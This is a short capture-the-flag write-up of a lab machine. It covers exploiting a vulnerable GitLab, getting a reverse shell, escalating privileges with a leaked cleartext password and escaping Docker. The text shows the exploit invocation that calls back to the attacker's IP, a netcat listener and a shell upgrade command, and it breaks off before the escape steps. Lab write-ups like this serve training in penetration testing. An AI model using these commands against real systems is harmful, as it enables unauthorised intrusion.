Cool box, maybe too easy for a medium? Got reverse shell in minutes, but stuck for root’s password for hours 😅
Gitlab RCE, get reverse shell. Privesc with cleartext root password, escape Docker to own the box.
Starting Nmap 7.80 ( https://nmap.org ) at 2021-03-14 16:00 UTC
We get an NGINX service running on port
5080, and we know there is a GitLab on it. Let’s check it out!
First thing I did was creating an account to see what’s up with this GitLab. Unfortunately, there is no open projects we can mess with:
A common reflex here is to check the version of the service, let’s go to
This seems very interesting for us! What do we have for this version?
Well, we can see there are a lot of exploits in the wild. Let’s use the first we find: https://github.com/dotPY-hax/gitlab_RCE
python gitlab_rce.py http://ready.htb:5080 10.10.14.28
We follow the instructions, and create a listener with netcat:
nc -vlnp 42069
And we got a reverse shell!
Very simple user here:
git@gitlab:~$ cat /home/dude/user.txt
We want a good shell here:
git@gitlab:~$ python3 -c 'import pty;pty.spawn("/bin/bash")'
We want to get root now.
The classical privesc enumerators, like
lse are telling us we are in a Docker container. We will firstly try to get root in the container in order to escape from it later.
Running the enumeration scripts, we get some passwords on the system:
Of course, there is no way a GitLab SMTP password could be root’s as well, right?
Now that we are root in the container, it is pretty easy to escape: